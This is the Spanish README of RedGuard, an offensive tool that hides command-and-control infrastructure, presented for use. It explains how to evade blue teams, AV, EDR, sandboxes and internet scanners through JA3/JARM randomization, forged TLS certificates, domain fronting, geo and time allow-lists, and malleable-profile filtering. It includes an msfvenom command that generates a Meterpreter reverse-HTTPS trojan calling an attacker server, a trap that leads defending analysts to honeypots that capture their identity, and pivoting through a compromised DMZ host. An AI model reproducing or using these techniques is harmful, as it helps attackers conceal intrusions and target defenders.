wikiz/redguardHerramienta de control de flujo frontal para C2 con aleatorización de huellas digitales JA3/JARM, fronting de dominio, validación de perfil C2 maleable y lista blanca de IP para evadir equipos azules, AV, EDR y mapeo del ciberespacio.
English | 中文文档
RedGuard, una herramienta derivada basada en la tecnología de control de flujo frontal de comando y control (C2), tiene un diseño más ligero, una interacción de tráfico eficiente y una compatibilidad confiable con el desarrollo en el lenguaje de programación Go. A medida que los ciberataques evolucionan constantemente, los ejercicios del equipo rojo y azul se vuelven progresivamente más complejos, RedGuard está diseñado para proporcionar una mejor solución de ocultación de canal C2 para el equipo rojo, que proporciona el control de flujo para el canal C2, bloquea el tráfico de análisis "malicioso" y completa mejor toda la tarea de ataque.
RedGuard es una herramienta de control de flujo frontal C2 que puede evitar la detección del equipo azul, AVS, EDR y los motores de búsqueda del ciberespacio.
Puede descargar y usar directamente la versión compilada, o puede descargar el paquete go de forma remota para compilar y ejecutar de forma independiente.```bash git clone https://github.com/wikiZ/RedGuard.git cd RedGuard
go build -ldflags "-s -w" -trimpath
chmod +x ./RedGuard&&./RedGuard
# 0x02 Descripción de la configuración
## Inicialización
Como se muestra en la siguiente figura, establezca los permisos de ejecución e inicialice RedGuard. La primera ejecución generará un archivo de configuración en el directorio home del usuario actual para lograr una configuración flexible de las funciones. Nombre del archivo de configuración: **.RedGuard_CobaltStrike.ini**.
**Contenido del archivo de configuración:**
Las opciones de configuración de cert son principalmente para la información de configuración de la comunicación HTTPS encriptada con certificado SSL entre la muestra y la infraestructura frontal de C2. El proxy se utiliza principalmente para configurar las opciones de control en el tráfico de proxy inverso. El uso específico se explicará en detalle a continuación.
La comunicación HTTPS encriptada con certificado SSL se generará en el directorio cert-rsa/ dentro del directorio donde se ejecute RedGuard. Puede iniciar y detener las funciones básicas de la herramienta modificando el archivo de configuración **(el número de serie del certificado se genera según la marca de tiempo , no se preocupe por estar asociado con esta característica)**.Si desea utilizar su propio certificado, simplemente renómbrelos a ca.crt y ca.key.```bash
openssl x509 -in ca.crt -noout -text
Las huellas digitales TLS JARM aleatorias se actualizan cada vez que se inicia RedGuard para evitar que se utilicen para autenticar la infraestructura C2.
En el caso de usar su propio certificado, modifique el parámetro HasCert en el archivo de configuración a true para evitar problemas normales de comunicación causados por la incompatibilidad del conjunto de cifrado CipherSuites con el certificado personalizado debido a la aleatorización de ofuscación JARM.```bash
HasCert = false
### Certificados TLS falsificados
Al implementar un Domain Fronting para ocultar el tráfico C2, el nombre de dominio acelerado no tiene información de certificado HTTPS de forma predeterminada. Esto es obviamente problemático, por lo que debe prestar atención a la configuración del certificado al configurar el nombre de dominio. Esta es también la base predeterminada para determinar si la muestra es tráfico de front-end de dominio.
[^Tencent Cloud]: Configuración de certificado de CDN de Tencent Cloud
Creo que todos tendrán algunas preguntas después de leer esto: **¿Cómo obtener el certificado configurado? Si usa su propia aplicación para el certificado, no cumplirá con el efecto de anonimato que esperamos.** Aquí puede usar el certificado clonado para la configuración. Tomando Tencent Cloud como ejemplo, se descubrió en la prueba que no verificaría la validez del certificado personalizado cargado. Podemos usar el mismo certificado que el sitio real del nombre de dominio acelerado para falsificarlo. Aunque el certificado falsificado no puede comunicarse al reemplazar el certificado predeterminado de CS en circunstancias normales, no verificará la validez cuando se implemente en la aceleración de sitio completo CDN del proveedor de servicios en la nube y RedGuard, y el tráfico interactivo de C2 puede comunicarse normalmente.
**La siguiente es la dirección del proyecto existente en Github**```bash
https://github.com/virusdefender/copy-cert
Aunque el certificado en el lado del tráfico front-end del dominio de muestra se ha resuelto, desde la perspectiva del mapeo de red a gran escala, nuestro servidor C2 todavía está expuesto al mundo exterior y aún puede ser detectado y asociado con el servidor C2 real. En este momento, se puede usar RedGuard para modificar el certificado predeterminado de fronting del C2 para lograr el anonimato.
[^intelligence information]: Certificados TLS
Lo anterior es el efecto del certificado falsificado del servidor C2. Se puede ver que es creíble y no ha expirado en la inteligencia de la comunidad Threatbook. La forma principal de obtener el certificado digital es extraerlo y actualizarlo en tiempo real durante el análisis de muestras en el sandbox de la nube, pero obviamente no se verifica de manera efectiva. El valor de estado solo verifica el tiempo de vencimiento. La verificación de confianza del certificado solo debe basarse en si se puede lograr una comunicación normal.
Cabe señalar que la inteligencia de Threatbook no marca las direcciones SNI y HOST de las solicitudes de muestra con inteligencia de certificados. Esto es en realidad para evitar falsos positivos. Creo que esto es correcto. Como una base importante para ayudar a los investigadores en el análisis, es mejor que la inteligencia de amenazas esté incompleta a que apunte en la dirección equivocada, lo que provocaría un juicio erróneo en análisis posteriores. Si configurar certificados para la aceleración de sitio completo es falsificar certificados para el tráfico de comunicación, entonces configurar el certificado de pre-respuesta de RedGuard C2 es falsificar las características de comportamiento del servidor C2 real desplegado en la red pública para lograr efectos anti-mapeo, lo cual es muy necesario.
Extraiga el número de serie del certificado: 55e6acaed1f8a430f9a938c5, y realice la codificación HEX para obtener la huella digital del certificado TLS: 26585094245224241434632730821
Cantidad de resultados de búsqueda: 2291
A través del mapeo del ciberespacio, se descubrieron 2,291 direcciones IP independientes, y la verificación confirmó que todas tenían certificados TLS pertenecientes a Baidu. Es difícil determinar si es comunicación maliciosa basándose únicamente en el tráfico de comunicación. Sin embargo, los certificados TLS para las instalaciones de tráfico front-end del dominio y front-end del C2 fueron falsificados, interfiriendo con éxito en el mapeo espacial y la inteligencia de amenazas, causando una asociación incorrecta de información, haciendo que las características de tráfico del atacante sean más realistas y logrando el propósito de falsificar el tráfico de comunicación normal.
Incluso si no hay un procesamiento de reenvío oculto antes de la instalación front-end del tráfico C2, es mejor cambiar el certificado para RedGuard. Por defecto, cualquier biblioteca de huellas digitales formada por la identificación de huellas digitales de componentes comunes utilizados actualmente en el mapeo del ciberespacio utiliza el comportamiento de las características de configuración predeterminada de los componentes comunes para la identificación. Diferentes grupos pueden mostrar diferentes características únicas durante estos procesos de personalización. Por supuesto, la formación de huellas digitales requiere un cierto conocimiento del componente objetivo, para extraer las características predeterminadas del objetivo y formar una huella digital asociada. Aquí, las características de comportamiento del certificado RG se utilizan para el mapeo del ciberespacio, que se asocia con una gran cantidad de nodos RG desplegados en la red pública.
No es sorprendente que el autor haya podido extraer la huella digital, pero aún se recomienda que los usuarios de RedGuard modifiquen la información del certificado predeterminado y sean un hacker profesional:)
root@VM-4-13-ubuntu:~# ./RedGuard -h
Usage of ./RedGuard: -DelHeader string Customize the header to be deleted -DropAction string RedGuard interception action (default "redirect") -EdgeHost string Set Edge Host Communication Domain (default "") -EdgeTarget string Set Edge Host Proxy Target (default "") -FieldFinger string Set HTTP Header identification field Info -FieldName string Set the name of the HTTP Header identification field -HasCert string Whether to use the certificate you have applied for (default "true") -allowIP string Proxy Requests Allow IP (default "") -allowLocation string Proxy Requests Allow Location (default "") -allowTime string Proxy Requests Allow Time (default "") -common string Cert CommonName (default ".aliyun.com") -config string Set Config Path -country string Cert Country (default "CN") -dns string Cert DNSName -host string Set Proxy HostTarget -http string Set Proxy HTTP Port (default ":80") -https string Set Proxy HTTPS Port (default ":443") -ip string IPLookUP IP -locality string Cert Locality (default "HangZhou") -location string IPLookUP Location (default "风起") -malleable string Set Proxy Requests Filter Malleable File (default "*") -organization string Cert Organization (default "Alibaba (China) Technology Co., Ltd.") -redirect string Proxy redirect URL (default "https://360.net") -type string C2 Server Type (default "CobaltStrike") -u Enable configuration file modification
**P.D. Puede usar el comando de parámetro para modificar el archivo de configuración. Por supuesto, creo que puede ser más conveniente modificarlo manualmente con vim.**
# 0x03 Uso de la herramienta
## Intercepción básica
Si accede directamente al puerto del proxy inverso, se activará la regla de intercepción. Aquí puede ver el directorio raíz de la solicitud del cliente a través del registro de salida, pero debido a que la solicitud no lleva las credenciales solicitadas, es decir, el encabezado de solicitud HOST correcto, se activa la regla de intercepción básica y el tráfico se redirige a <https://360.net>
Esto es solo una demostración de la salida; en uso real, se puede ejecutar en segundo plano mediante `nohup ./RedGuard &`.
```bash
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
No es difícil ver en la captura anterior que 360.net está proxy al puerto local 8080, 360.com está proxy al puerto local 4433, y el protocolo HTTP utilizado también es diferente. En el uso real, es necesario prestar atención al tipo de protocolo del listener. Debe ser coherente con la configuración aquí y establecer el encabezado de solicitud HOST correspondiente.
Como se muestra en la figura anterior, en el caso de acceso no autorizado, la información de respuesta que obtenemos es también la información de retorno del sitio redirigido.
En el caso básico de interceptación anterior, se utiliza el método de interceptación predeterminado, el tráfico ilegal se intercepta mediante redirección. Modificando el archivo de configuración, podemos cambiar el método de interceptación y la URL del sitio redirigido. De hecho, más que llamarlo redirección, creo que podría ser más apropiado describirlo como secuestro, clonación, ya que el código de estado de respuesta devuelto es 200, y la respuesta se obtiene de otro sitio web para imitar lo más fielmente posible al sitio clonado/secuestrado.
Los paquetes no válidos pueden ser enrutados incorrectamente según tres estrategias:
drop_action = proxy
Redirect = https://360.net
**Redirect = URL** en el archivo de configuración apunta a la URL secuestrada. RedGuard soporta "cambio en caliente", lo que significa que mientras la herramienta se ejecuta en segundo plano mediante `nohup`, aún podemos modificar el archivo de configuración. El contenido se inicia y detiene en tiempo real.```bash
./RedGuard -u --drop true
Tenga en cuenta que al modificar el archivo de configuración a través de la línea de comandos, la opción -u no debe faltar, de lo contrario no se puede modificar el archivo de configuración correctamente. Si necesita restaurar la configuración predeterminada del archivo de configuración, solo necesita ingresar ./RedGuard -u.
Otro método de intercepción es DROP, que cierra directamente la respuesta de comunicación HTTP y se habilita configurando DROP = true. El efecto de intercepción específico es el siguiente:
Se puede ver que el control de flujo frontal de C2 cierra directamente la respuesta a solicitudes ilegales sin el código de respuesta HTTP. En la detección de mapeo del ciberespacio, el método DROP puede ocultar la apertura de puertos. El efecto específico se puede ver en el siguiente caso de análisis.
Creo que muchos usuarios estarán interesados en el secuestro de respuesta. El principio general es que cuando el cliente inicia una solicitud al servidor C2 real, como no cumple con las reglas de entrada, el servidor C2 obtendrá el sitio normal especificado y devolverá su información de respuesta. Por lo tanto, desde el extremo de la solicitud de efecto, parece que está interactuando con el servicio IP, pero en realidad, el servidor C2 intermedio se utiliza como servidor proxy para interactuar con el sitio normal, y es difícil encontrar anomalías. Si cumple con la solicitud de entrada, la solicitud de tráfico se reenviará al puerto de escucha del servicio C2 real para la interacción, y el puerto de escucha real ha sido filtrado por el firewall en la nube, permitiendo solo el acceso local, y no se puede acceder directamente desde el exterior. Por lo tanto, desde la perspectiva de la apertura de puertos externos, solo el puerto HTTP/S está abierto, y en cierto sentido, este es efectivamente el puerto en línea de C2.
[^Diagrama de flujo de tráfico]: Proceso de interacción de tráfico del servidor C2
En los datos de mapeo del ciberespacio, el código de respuesta del puerto abierto HTTP/S de la IP es 200, no un salto 307, lo cual es más auténtico.
El certificado HTTPS tiene el mismo efecto que el certificado falsificado mencionado anteriormente, y ambos son huellas digitales de certificados reales.
Creo que muchos equipos rojos utilizarán ampliamente métodos de ocultación como funciones en la nube / domain fronting en el proceso de proyectos de combate. Sin embargo, en la confrontación ofensiva y defensiva actual, los dos métodos de ocultación anteriores tienen un problema fatal, es decir, pueden conectarse directamente al servicio C2. El resultado es sin duda que cuando conocemos la dirección de la función en la nube o la IP/HOST interactiva del domain fronting, podemos acceder directamente al servicio de escucha C2 y demostrar que es una instalación de ataque.
Dado que el tráfico puede llegar directamente a C2, vale la pena considerar si el dispositivo de seguridad puede realizar un escaneo CS en el tráfico que no coincide con el SNI y HOST para identificar si es tráfico malicioso. Lo mismo ocurre con las funciones en la nube o los entornos sandbox. Además del lado de la muestra, también puede haber más procesos de análisis a nivel de tráfico.
Después del secuestro de respuesta, el acceso directo al servicio HTTP puede interactuar con el sitio web normalmente, pero Cscan no puede escanear la información de la muestra porque el tráfico no puede llegar al oyente C2 real. La interacción normal de C2 solo es posible cuando se cumplen las características de inicio del tráfico. Sin embargo, hay un problema. El script de escaneo de C2 debe cumplir con las reglas de entrada, lo que pone a prueba la capacidad de codificación de los analistas del equipo azul. El script de escaneo público actual está en forma de Nmap.
JA3 proporciona una huella dactilar más reconocible para las comunicaciones cifradas entre clientes y servidores. Utiliza huellas dactilares TLS para identificar las negociaciones TLS entre clientes y servidores maliciosos, logrando así el efecto de asociar clientes maliciosos. Esta huella es fácil de generar en cualquier plataforma utilizando cifrado MD5 y actualmente se usa ampliamente en inteligencia de amenazas. Por ejemplo, se puede ver en informes de análisis de muestras de algunos sandboxes para demostrar la correlación entre diferentes muestras.
Si podemos dominar la JA3(S) del servidor C2 y del cliente malicioso, incluso si el tráfico está cifrado y se desconoce la dirección IP o el nombre de dominio del servidor C2, aún podemos identificar la negociación TLS entre el cliente malicioso y el servidor mediante la huella digital TLS. Creo que todos pueden pensar en esto después de verlo, que también es una medida para hacer frente a métodos de ocultación de reenvío de tráfico como domain fronting, proxy inverso y función en la nube. A través de la identificación de muestras de ejecución de sandbox y la negociación TLS de comunicación C2, se generan huellas dactilares JA3(S) que se pueden aplicar a la inteligencia de amenazas para lograr un rastreo auxiliar.
Anuncié esta tecnología en 2022. Al probar el entorno sandbox de micro-pasos, descubrí que aunque el número de IPs de salida que solicitaban interacción era pequeño, no era preciso identificar el sandbox por IP, y esta era una característica que se cambiaba fácilmente, pero su huella JA3 era única en el mismo entorno de sistema. Más tarde, recibí comentarios de que el sandbox había completado la aleatorización de huellas, pero pruebas recientes han encontrado que no se ha implementado completamente. Todavía espero enfrentar el problema de las huellas en el lado del tráfico.
Desde la perspectiva del sandbox en la nube, al monitorear la interacción de tráfico entre la muestra y el servidor C2, se genera la huella JA3(S) para identificar al cliente malicioso y así hacer una asociación. Pensando en reversa, como una instalación de control de tráfico frente a C2, también podemos realizar tales operaciones para obtener la huella JA3 de la solicitud del cliente. Al depurar diferentes entornos sandbox, se obtienen estas huellas JA3 para formar una biblioteca de huellas, formando así una estrategia básica de intercepción.
Imagine que en el proceso de interacción de troyanos por etapas, el cargador primero obtendrá el shellcode de la dirección remota. Luego, cuando el tráfico identifique que la solicitud cumple con las características del sandbox en la nube de la biblioteca de huellas JA3, interceptará las solicitudes posteriores. Si no se puede obtener el shellcode, todo el proceso de carga no se puede completar y el sandbox naturalmente no puede analizarlo completamente. Si el entorno es un troyano sin etapas, entonces el análisis del sandbox tampoco podrá cargarse finalmente al servidor C2. Creo que todos se han despertado de un sueño y han encontrado muchos registros de sandbox de larga duración colgando en el C2. Por supuesto, en un estado ideal, podemos identificar diferentes entornos sandbox, lo que depende principalmente de la confiabilidad de la biblioteca de huellas.
Durante la prueba, descubrí que después de agregar la huella JA3 de la biblioteca de solicitudes en lenguaje GO de ZoomEye a la biblioteca de huellas y monitorear el tráfico de solicitudes RG, la mayoría de las solicitudes activaron la intercepción básica de la característica de la biblioteca de huellas JA3. Aquí supongo que el lenguaje subyacente del producto de topografía y mapeo es parte de la tarea de escaneo implementada en lenguaje GO. A través de un enlace, la lógica de escaneo compuesta por diferentes lenguajes subyacentes finalmente completó toda la tarea de escaneo. Esto también explica por qué el escaneo de algunos productos de topografía y mapeo activó la característica de intercepción de huellas JA3 de la biblioteca de solicitudes en lenguaje GO. El principio de la regla de reconocimiento es el mismo que el de la huella del sandbox en la nube. Ambos utilizan la unicidad del entorno del cliente solicitante y la biblioteca de solicitudes. A diferencia del lado de la PC, el entorno de solicitud de estos productos básicamente no se cambiará a voluntad, lo que también nos permite capturar su huella del lado del tráfico e interceptar, entonces, ¿podemos pensar si el dispositivo de seguridad puede usar la huella JA3 del tráfico de detección activa como base para la intercepción? Por supuesto, cuando el tráfico comercial es grande, puede haber una cierta cantidad de falsas alarmas. Aquí solo proponemos requisitos de producto teóricamente factibles.
P.D. Los usuarios también pueden cargar muestras al sandbox para obtener y verificar sus huellas JA3 y agregarlas a la biblioteca de huellas. Cabe señalar que no tiene sentido si el sandbox solo cambia la huella JA3 a una que no sea la anterior. Lo que realmente debe resolverse es que cada vez que el sandbox realiza un análisis dinámico, no sea la misma huella, y sus cambios deben cumplir con los requisitos de no repetirse tanto como sea posible. Si la tasa de repetición es alta, aún se usará como huella.
Actualmente admite la identificación e intercepción del sandbox en la nube de Threatbook como demostración de efecto
La configuración de los siguientes dos parámetros en el archivo de configuración logra el efecto de cambiar el puerto del proxy inverso. Se recomienda usar la ocultación de puerto predeterminada siempre que no entre en conflicto con el puerto actual del servidor. Si debe modificarse, preste atención a que los : del valor del parámetro no falten```bash
Port_HTTPS = :443
Port_HTTP = :80
## Registros de RedGuard
El comportamiento de rastreo del equipo azul se analiza a través del registro de intercepción de la solicitud objetivo, que se puede utilizar para rastrear eventos/problemas de conexión entre pares. El archivo de registro se genera en el directorio donde se está ejecutando RedGuard, **nombre del archivo: RedGuard.log**.
## RedGuard Obtener la dirección IP real
Esta sección describe cómo configurar RG para obtener la dirección IP real de una solicitud. Solo necesita agregar la siguiente configuración al perfil del dispositivo C2; la dirección IP real del objetivo se obtiene a través del encabezado de la solicitud X-Forwarded-For.```bash
http-config {
set trust_x_forwarded_for "true";
}
El método de configuración toma AllowLocation = Jinan, Beijing como ejemplo. Tenga en cuenta que RedGuard proporciona dos API para la atribución inversa de IP, una para usuarios en la China continental y otra para usuarios fuera de la China continental, y puede asignar dinámicamente qué API utilizar según el nombre de dominio geográfico de entrada. Si el destino es China, entonces use nombres chinos para la región establecida, de lo contrario use nombres de lugares en inglés. Se recomienda que los usuarios en la China continental utilicen nombres en chino, ya que así la precisión de la atribución y la velocidad de respuesta de la API obtenida mediante la consulta inversa son las mejores opciones.
P.D. Usuarios de la China continental, ¡no usen AllowLocation = Jinan,beijing de esta manera! No tiene mucho sentido, ¡el primer carácter del valor del parámetro determina qué API utilizar!```bash
AllowLocation = *
Antes de decidir restringir la región, puede consultar manualmente la dirección IP mediante el siguiente comando.```bash
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to query
Aquí configuramos para permitir solo la conexión de la región de Shandong
Tráfico legal:
Área de solicitud ilegal:
En cuanto a las conexiones por restricciones geográficas, puede ser más práctico en el actual ejercicio ofensivo y defensivo. Básicamente, los objetivos de las restricciones de ejercicios ofensivos y defensivos provinciales y municipales están en áreas designadas, y el tráfico solicitado por otras áreas puede ignorarse naturalmente. Esta función de RedGuard no solo puede limitar una sola región, sino también limitar múltiples regiones de conexión según provincias y ciudades, e interceptar el tráfico solicitado por otras regiones.
Además de la lista negra de IP incorporada de los proveedores de ciberseguridad en RedGuard, también podemos restringir según el método de lista blanca. De hecho, también sugiero que durante la penetración web, podamos restringir las direcciones IP en línea según la lista blanca para dividir múltiples formas de dirección IP.```bash
AllowIP = 127.0.0.1
Como se muestra en la figura anterior, restringimos para permitir solo conexiones de 127.0.0.1, luego el tráfico de solicitudes de otras IPs será bloqueado.
## Bloqueo basado en periodo de tiempo
Esta función es más interesante. Establecer los siguientes valores de parámetros en el archivo de configuración significa que la instalación de control de tráfico solo puede conectarse de 8:00 a.m. a 9:00 p.m. El escenario de aplicación específico aquí es que durante el tiempo de ataque especificado, permitimos la comunicación con C2, y permanece en silencio en otros momentos. Esto también permite que los equipos rojos tengan una buena noche de sueño sin preocuparse de que algún equipo azul de turno nocturno se aburra analizando tu troyano y luego despertarte con algo indescriptible, jajaja.```bash
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21：00
RedGuard utiliza el perfil Maleable C2. Analiza la sección del archivo de configuración extensible proporcionado para comprender el contrato y pasar solo aquellas solicitudes entrantes que lo cumplen, mientras engaña a otras solicitudes. Partes como http-stager, http-get y http-post y sus correspondientes uris, cabeceras, User-Agent, etc. se utilizan para distinguir las solicitudes legítimas de beacon del ruido irrelevante de Internet o paquetes Out-of-bounds de IR/AV/EDR.```bash
MalleableFile = /root/cobaltstrike/Malleable.profile
Se recomienda usar el perfil escrito por 风起:
> <https://github.com/wikiZ/CobaltStrike-Malleable-Profile>
## Eliminación personalizada de campos de respuesta
En Cobalt Strike 4.7+, Teamserver elimina automáticamente el encabezado Content-Encoding sin ninguna notificación, lo que potencialmente causa una violación de malleable http-(get|post).server. Además, si no hay Content-type en el mensaje de respuesta del servidor CS, pero después de ser reenviado por RedGuard, se agrega Content-Type al encabezado del mensaje de respuesta, lo que hace que cf almacene en caché la página y cause interferencias.
Después de RedGuard 23.08.21, se ha agregado la función de personalizar el encabezado del paquete de respuesta. Los usuarios pueden personalizar y eliminar la información del encabezado en el paquete de respuesta modificando el archivo de configuración para resolver el problema de análisis incorrecto.```bash
# Customize the header to be deleted example: Keep-Alive,Transfer-Encoding
DelHeader = Keep-Alive,Transfer-Encoding
RedGuard 23.05.13 ha actualizado la función de reconocimiento de huellas dactilares de muestras de troyanos, que se basa en personalizar el campo HTTP Header del Malleable Profile como la "sal de muestra" para identificar de manera única el mismo C2 listener/Header Host. Además, la huella dactilar de la muestra de troyano generada combinando otros campos de solicitud relevantes se puede utilizar para detectar la actividad de la muestra personalizada. Según los requisitos de tarea del atacante, la función de reconocimiento de huellas dactilares de muestras de troyanos puede realizar una "operación offline" en las muestras que se deseen deshabilitar, para evadir mejor el análisis de tráfico malicioso de la comunicación de la muestra y el análisis de adquisición de cargas útiles de ataque PAYLOAD de la muestra en etapas, y proporcionar medidas de sigilo más personalizadas para el atacante.
Para diferentes C2 listeners, podemos dar diferentes alias a las configuraciones de Malleable Profile, personalizar los nombres y valores de campos de encabezados relacionados como la sal de muestra, y usarlo como una de las distinciones entre diferentes muestras. El siguiente código es solo para fines ilustrativos, y en escenarios reales de ataque y defensa podemos usar campos de paquetes de solicitud HTTP más realistas como base para la toma de decisiones.```bash http-get "listen2" { set uri "/image.gif"; client { header "Accept-Finger" "866e5289337ab033f89bc57c5274c7ca"; //Custom HTTP Header and Value metadata { print } } }
**Tráfico HTTP**
Como se muestra en la figura, usamos el valor de Salt de muestra y el campo Host como base para la generación de la huella digital. Aquí sabemos:
- **Valor de Salt：866e5289337ab033f89bc57c5274c7ca**
- **Host ：redguard.com**
Según la concatenación de los valores anteriores, la huella digital de muestra se obtiene de la siguiente manera:```bash
22e6db08c5ef1889d64103a290ac145c
Ahora que conocemos la huella digital de muestra anterior, podemos configurar el campo Header personalizado y la huella digital de muestra en el archivo de configuración de RedGuard para la interceptación de tráfico malicioso. Vale la pena señalar que podemos extender múltiples huellas digitales de muestra, separadas por comas, y el FieldName debe ser consistente con el nombre del campo Header configurado en el Perfil Malleable
Debido a que el archivo de configuración de RedGuard es una configuración en caliente, no necesitamos reiniciar RedGuard para interceptar las muestras que queremos deshabilitar. Cuando queramos reactivar la muestra, solo necesitamos eliminar la huella digital de muestra relevante del archivo de configuración de RedGuard.
Efecto de demostración:
Si hay un problema con el método anterior, el servidor C2 real en línea no puede ser interceptado directamente por el firewall, porque la solicitud real de equilibrio de carga en el proxy inverso se realiza mediante la IP del fabricante del servidor en la nube.
En combate individual, podemos establecer una regla de interceptación en el firewall del servidor en la nube.
Luego configure la dirección señalada por el proxy en https://127.0.0.1:4433.```bash {"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
Y debido a que nuestra verificación básica se basa en el encabezado de solicitud HTTP HOST, lo que vemos en el tráfico HTTP también es igual que el método de domain fronting, pero el costo es menor, y solo se necesita un servidor en la nube.
Para la configuración del listener, el `HTTPS Port (C2)` se establece en el puerto de proxy inverso de RedGuard, y el `HTTPS Port (Bind)` es el puerto de conexión real de la máquina local.
## Metasploit
**Genera Troyano**```bash
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~/path/to/payload.exe
Por supuesto, como en un escenario de domain fronting, también puede configurar su LHOST para usar cualquier nombre de dominio del CDN del fabricante, y preste atención a configurar HttpHostHeader para que coincida con RedGuard.```bash setg OverrideLHOST 360.com setg OverrideLPORT 443 setg OverrideRequestHost true
Es importante tener en cuenta que el ajuste `OverrideRequestHost` debe establecerse en `true`. Esto se debe a una característica en la forma en que Metasploit maneja las solicitudes HTTP/S entrantes por defecto al generar la configuración para payloads de etapa. Por defecto, Metasploit utiliza el valor del encabezado `Host` de la solicitud entrante (si está presente) para la configuración de la segunda etapa en lugar del parámetro `LHOST`. Por lo tanto, la etapa de compilación está configurada para enviar solicitudes directamente a su nombre de dominio oculto porque CloudFront pasa su dominio interno en el encabezado `Host` de las solicitudes reenviadas. Claramente esto no es lo que estamos pidiendo. Usando el valor de configuración `OverrideRequestHost`, podemos forzar a Metasploit a ignorar el encabezado `Host` entrante y usar en su lugar el valor de configuración `LHOST` que apunta al dominio de origen de CloudFront.
El listener se establece en el puerto de línea real que coincide con la dirección a la que RedGuard realmente reenvía.
RedGuard recibió la solicitud:
## Mapeo de búsqueda en el ciberespacio
Como se muestra en la siguiente figura, cuando nuestra regla de interceptación está configurada en DROP, la sonda del sistema de mapeo espacial sondeará el directorio / de nuestro puerto proxy inverso varias veces. En teoría, el paquete de solicitud enviado por el mapeo se falsifica como tráfico normal como se muestra. Pero después de varios intentos, debido a que la firma del paquete de solicitud no cumple con los requisitos de liberación de RedGuard, todos responden con HTTP Close. El efecto final mostrado en la plataforma de levantamiento y mapeo es que el puerto del proxy inverso no está abierto.
El tráfico mostrado en la siguiente figura significa que cuando la regla de interceptación está configurada en Redirect, encontraremos que cuando la sonda de mapeo recibe una respuesta, continuará escaneando nuestro directorio. User-Agent es aleatorio, lo que parece estar en línea con las solicitudes de tráfico normales, pero ambas fueron bloqueadas con éxito.
**Plataforma de mapeo - Modo de efecto de interceptación de respuesta de secuestro:**
**Plataforma de levantamiento y mapeo - Efecto de interceptación por redirección:**
## Domain fronting
RedGuard soporta Domain fronting. En mi opinión, existen dos formas de presentación. Una es usar el método tradicional de Domain fronting, que se puede lograr configurando el puerto de nuestro proxy inverso en la dirección de origen de retorno de la aceleración en todo el sitio. Sobre la base original, se agrega la función de control de tráfico al domain fronting, y se puede redirigir a la URL especificada según la configuración que establezcamos para que parezca más real. Cabe señalar que la configuración del encabezado HTTPS HOST de RedGuard debe ser coherente con el nombre de dominio de la aceleración en todo el sitio.
En combate individual, sugiero que se puede usar el método anterior, y en tareas de equipo, también se puede lograr mediante "Domain fronting" auto-construido.
En el Domain fronting auto-construido, mantenga varios puertos de proxy inverso consistentes, y el encabezado HOST apunta consistentemente al puerto de escucha del servidor C2 real del backend. De esta manera, nuestro servidor C2 real puede estar bien oculto, y el servidor del proxy inverso solo puede abrir el puerto proxy configurando el firewall.
Esto se puede lograr a través de múltiples servidores nodo, y configurar múltiples IPs de nuestros nodos en la IP en línea HTTPS del listener de CS.
## Trampa maliciosa de honeypot
**El principio de la trampa maliciosa de honeypot se basa principalmente en la función de respuesta de secuestro o redirección de la guía de tráfico de RG, que dirige a los analistas que están evaluando instalaciones C2 a la dirección de la sandbox de honeypot. En el estado de respuesta de secuestro, RG dirigirá el tráfico de solicitud que no cumple con las reglas de entrada a los activos de honeypot.** Al encontrarse con algunos honeypots más potentes (como aquellos que capturan números de teléfono móvil de los operadores), el cliente iniciará una solicitud según la respuesta del sitio objetivo y será secuestrado por jsonp para obtener información relevante.
Imaginemos que cuando los analistas acceden directamente al puerto en línea de C2, serán dirigidos al activo de honeypot, lo que sin duda causará perturbaciones a los analistas. Los analistas son dirigidos maliciosamente a solicitar el activo de honeypot, y el extremo de monitoreo del honeypot captura la información relevante de los analistas del equipo azul y rastrea el error. Si el objetivo de análisis está equivocado desde el principio, ¿cómo se puede obtener un buen resultado? Esto sin duda causará una grave fricción interna para el equipo de defensa.
**Aquí hay un conjunto de huellas digitales de ZoomEye asociadas con activos de honeypot:**```bash
(iconhash:"9fd6f0e56f12adfc2a4da2f6002fea7a" (title:"然之协同" +"iframe" +">v.ignoreNotice")) ("/static/js/2.ca599e2d.chunk.js?t=" +title:"OA办公系统") ("data.sloss.xyz/get_code.js?access") ("/monitordevinfo/common.js") (app:"honeyport" +country:china +after:"2022-08-22")
La forma de lograr este efecto es muy sencilla, solo necesita cambiar los valores de clave relevantes en el archivo de configuración de RG.```bash
drop_action = proxy
Redirect = https://market.baidu.com
**P.S. Creo que todo el mundo sabe cómo configurarlo sin explicación :)**
Este método es una especie de truco astuto, que se refleja más en la idea. Si se aprovecha aún más, se puede desplegar la función de captura de honeypot en la instalación de control de tráfico front-end de C2 y luego dirigir el tráfico interactivo. El efecto es que se pueden obtener los datos de la caché del navegador del cliente al igual que un honeypot tradicional. Sin embargo, personalmente siento que, en la versión pública, puede no tener sentido aplicarlo a la confrontación actual de ataque y defensa. No tiene sentido que el atacante capture la información social del analista del equipo azul y luego la rastree. Por supuesto, yendo un paso atrás, esto puede hacer que el análisis de las muestras de C2 sea más peligroso. Cuando el atacante de las industrias negra y gris pueda obtener la identidad virtual del analista, si se pueden convertir las identidades virtual y real, sigue siendo relativamente peligroso. **Por lo tanto, creo que la investigación y el análisis futuros deben ser más cautelosos y vigilantes.**
## Tráfico C2 basado en la interacción de enlaces de nodos periféricos
En el escenario de confrontación de ataque y defensa, la mayoría de las redes de unidades todavía se basan en la defensa perimetral. Aquí consideramos un escenario donde los servidores externos en el área DMZ a menudo están configurados con políticas de acceso relevantes en un entorno empresarial normal. En este momento, cuando los servidores externos en el borde pueden acceder a la red pero no pueden acceder directamente al host de la intranet, y la PC o los servidores relacionados en la intranet no acceden directamente a la red pública, pero pueden acceder a los servidores de negocios en el área DMZ, entonces puedo usar el host del nodo periférico como un nodo RG para transferir el tráfico de conexión de la intranet a nuestras instalaciones C2. ¿Suena muy similar a la conexión por proxy convencional? Sin embargo, esto es solo una forma de mostrar la implementación de la habilidad. Continuemos viendo más TIPS.
Cuando tomamos un host periférico durante el proceso de gestión, suponiendo que hemos tomado el control de los permisos de Shell, implementaremos RG en este servidor como nuestro nodo front-end **(en escenarios reales, los archivos de configuración están codificados en el programa, e incluso el troyano y RG se combinan en el mismo programa)**.
